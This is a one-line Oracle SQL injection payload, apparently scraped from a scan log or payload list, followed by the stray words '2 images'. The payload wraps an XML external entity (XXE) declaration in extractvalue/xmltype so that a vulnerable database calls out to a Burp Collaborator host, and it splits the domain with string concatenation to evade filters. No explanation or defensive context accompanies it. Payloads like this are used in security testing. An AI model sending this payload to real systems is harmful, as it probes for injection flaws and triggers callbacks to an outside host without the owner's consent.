(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % zztcx SYSTEM "http://gueuh2x4yunlwkktwi0aihdoqfw8k7mbaey6lx9m.burpcollab'||'orator.net/">%zztcx;]>'),'/l') from dual) /

2 images